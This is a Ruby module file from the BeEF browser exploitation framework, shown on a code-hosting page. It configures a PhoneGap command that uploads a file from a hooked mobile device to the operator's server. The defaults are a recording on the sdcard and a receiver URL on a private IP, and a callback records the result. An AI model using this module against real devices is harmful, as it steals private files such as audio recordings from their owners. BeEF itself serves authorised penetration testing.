Path: blob/master/modules/phonegap/phonegap_file_upload/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5# phonegap6#78class Phonegap_file_upload < BeEF::Core::Command9def self.options10[{11'name' => 'file_upload_dst',12'description' => 'Upload a file from device to your server',13'ui_label' => 'Destination',14'value' => 'http://192.168.9.130/recv-unauth.php',15'width' => '300px'16}, {17'name' => 'file_upload_src',18'description' => 'path to file on device',19'ui_label' => 'File Path',20'value' => '/sdcard/myrecording.wav',21'width' => '300px'22}]23end2425def callback26content = {}27content['Result'] = @datastore['result']28save content29end30end313233